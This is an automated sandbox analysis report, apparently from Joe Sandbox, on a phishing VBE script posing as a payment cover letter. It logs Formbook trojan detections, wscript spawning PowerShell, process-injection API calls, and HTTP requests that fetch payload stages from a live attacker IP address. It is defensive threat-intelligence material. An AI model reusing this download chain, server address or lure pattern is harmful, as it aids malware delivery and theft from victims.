Windows Analysis Report
01_COVER_LETTER_-_FOR_E_PAYMENT.vbe

AI detected suspicious sample

Source: Yara match	File source: 5.2.AddInProcess32.exe.db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.AddInProcess32.exe.db0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2428546911.0000000000DB0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2428974827.0000000001710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source:	Binary string: wntdll.pdbUGP source: AddInProcess32.exe, 00000005.00000002.2429039304.0000000001870000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2429039304.0000000001870000.00000040.00001000.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 144.91.79.54 80

Source: Joe Sandbox View

ASN Name: CONTABODE CONTABODE

Source: global traffic	HTTP traffic detected: GET /2508/s HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-CHUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 144.91.79.54
Source: global traffic	HTTP traffic detected: GET /2508/r HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-CHUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 144.91.79.54
Source: global traffic	HTTP traffic detected: GET /2508/u9icZZB5Fm5owWojnw5Q.txt HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-CHUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 144.91.79.54
Source: global traffic	HTTP traffic detected: GET /2508/v HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-CHUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 144.91.79.54
Source: global traffic	HTTP traffic detected: GET /2508/file HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-CHUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 144.91.79.54

Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.79.54

Source: global traffic	HTTP traffic detected: GET /2508/s HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-CHUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 144.91.79.54
Source: global traffic	HTTP traffic detected: GET /2508/r HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-CHUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 144.91.79.54
Source: global traffic	HTTP traffic detected: GET /2508/u9icZZB5Fm5owWojnw5Q.txt HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-CHUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 144.91.79.54
Source: global traffic	HTTP traffic detected: GET /2508/v HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-CHUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 144.91.79.54
Source: global traffic	HTTP traffic detected: GET /2508/file HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-CHUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 144.91.79.54

Source: wscript.exe, 00000000.00000003.2142682570.0000021315A72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.91.79.54/
Source: wscript.exe, 00000000.00000003.2165501956.000002131774A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2163830069.0000021315A96000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168732062.0000021317750000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166376752.0000021317D42000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165814195.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2167359857.0000021315AAD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2163901569.0000021315AAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.91.79.54/2508/file
Source: wscript.exe, 00000000.00000003.2167136542.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168475689.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165814195.0000021315A25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.91.79.54/2508/file140B807A6BN
Source: wscript.exe, 00000000.00000003.2167136542.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168475689.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165814195.0000021315A25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.91.79.54/2508/file53C7849C57
Source: wscript.exe, 00000000.00000003.2158218358.000002131774C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166607159.0000021317750000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158078701.000002131774C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158967775.000002131774C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158910701.000002131774C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165501956.000002131774A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168732062.0000021317750000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166276434.00000213179D3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158858187.000002131774C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.91.79.54/2508/r
Source: wscript.exe, 00000000.00000003.2158218358.000002131774C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166607159.0000021317750000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158078701.000002131774C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2148962279.0000021315A43000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158967775.000002131774C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158910701.000002131774C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165501956.000002131774A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168732062.0000021317750000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2142682570.0000021315A72000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2142780136.0000021315A3E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166276434.00000213179D3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158858187.000002131774C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.91.79.54/2508/s
Source: wscript.exe, 00000000.00000003.2148962279.0000021315A43000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2142780136.0000021315A3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.91.79.54/2508/stem
Source: wscript.exe, 00000000.00000003.2157529486.0000021315A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2157462766.0000021315A2C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2157545405.0000021315A35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2157481785.0000021315A56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.91.79.54/2508/u9icZZB5Fm5owWojnw5Q.txt
Source: wscript.exe, 00000000.00000003.2165519546.0000021315958000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2167970238.0000007E5A0F2000.00000004.00000010.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166630724.0000021315959000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158967775.000002131774C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2167561687.0000021315AAE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165501956.000002131774A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2163830069.0000021315A96000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158967775.0000021317748000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2167359857.0000021315AAD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2163901569.0000021315AAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.91.79.54/2508/v
Source: wscript.exe, 00000000.00000003.2166395633.00000213179D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.91.79.54/2508/v75
Source: wscript.exe, 00000000.00000003.2142682570.0000021315A72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.91.79.54/c
Source: wscript.exe, 00000000.00000003.2167136542.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2142958351.0000021315A35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2142939052.0000021315A2B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2149023769.0000021315A2C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2157529486.0000021315A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168475689.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2157462766.0000021315A2C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165814195.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2157545405.0000021315A35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2149037908.0000021315A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.91.79.54/ll
Source: wscript.exe, 00000000.00000003.2163847317.0000021315A84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168596475.0000021315A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.91.79.54:80/2508/fileJb
Source: wscript.exe, 00000000.00000003.2165581468.0000021315A0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166759289.0000021315A16000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166051740.0000021315A15000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165814195.0000021315A10000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168457150.0000021315A16000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2167235585.0000021315A16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.91.79.54:80/2508/s
Source: wscript.exe, 00000000.00000003.2167136542.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168475689.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165814195.0000021315A25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.m

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 5.2.AddInProcess32.exe.db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.AddInProcess32.exe.db0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2428546911.0000000000DB0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2428974827.0000000001710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Source: amsi64_5960.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi64_5264.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi64_2056.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi64_3780.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi64_5256.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi64_5368.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi64_6068.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi64_1596.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi64_4392.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi64_6780.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 5.2.AddInProcess32.exe.db0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 5.2.AddInProcess32.exe.db0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.2428546911.0000000000DB0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.2428974827.0000000001710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Server XML HTTP 6.0 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{88d96a0b-f192-11d4-a65f-0040963251e5}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: WinHttpRequest Component version 5.1 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2087c2f4-2cef-4953-a8ab-66779b670495}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}	Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00DB19EC NtProtectVirtualMemory,	5_2_00DB19EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00DDC4D3 NtClose,	5_2_00DDC4D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E35C0 NtCreateMutant,LdrInitializeThunk,	5_2_018E35C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2B60 NtClose,LdrInitializeThunk,	5_2_018E2B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_018E2DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_018E2C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E3090 NtSetValueKey,	5_2_018E3090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E3010 NtOpenDirectoryObject,	5_2_018E3010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E4340 NtSetContextThread,	5_2_018E4340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E4650 NtSuspendThread,	5_2_018E4650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E39B0 NtGetContextThread,	5_2_018E39B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2B80 NtQueryInformationFile,	5_2_018E2B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2BA0 NtEnumerateValueKey,	5_2_018E2BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2BE0 NtQueryValueKey,	5_2_018E2BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2BF0 NtAllocateVirtualMemory,	5_2_018E2BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2AB0 NtWaitForSingleObject,	5_2_018E2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2AD0 NtReadFile,	5_2_018E2AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2AF0 NtWriteFile,	5_2_018E2AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2DB0 NtEnumerateKey,	5_2_018E2DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2DD0 NtDelayExecution,	5_2_018E2DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2D00 NtSetInformationFile,	5_2_018E2D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E3D10 NtOpenProcessToken,	5_2_018E3D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2D10 NtMapViewOfSection,	5_2_018E2D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2D30 NtUnmapViewOfSection,	5_2_018E2D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E3D70 NtOpenThread,	5_2_018E3D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2CA0 NtQueryInformationToken,	5_2_018E2CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2CC0 NtQueryVirtualMemory,	5_2_018E2CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2CF0 NtOpenProcess,	5_2_018E2CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2C00 NtQueryInformationProcess,	5_2_018E2C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2C60 NtCreateKey,	5_2_018E2C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2F90 NtProtectVirtualMemory,	5_2_018E2F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2FA0 NtQuerySection,	5_2_018E2FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2FB0 NtResumeThread,	5_2_018E2FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2FE0 NtCreateFile,	5_2_018E2FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2F30 NtCreateSection,	5_2_018E2F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2F60 NtCreateProcessEx,	5_2_018E2F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2E80 NtReadVirtualMemory,	5_2_018E2E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2EA0 NtAdjustPrivilegesToken,	5_2_018E2EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E2EE0 NtQueueApcThread,	5_2_018E2EE0
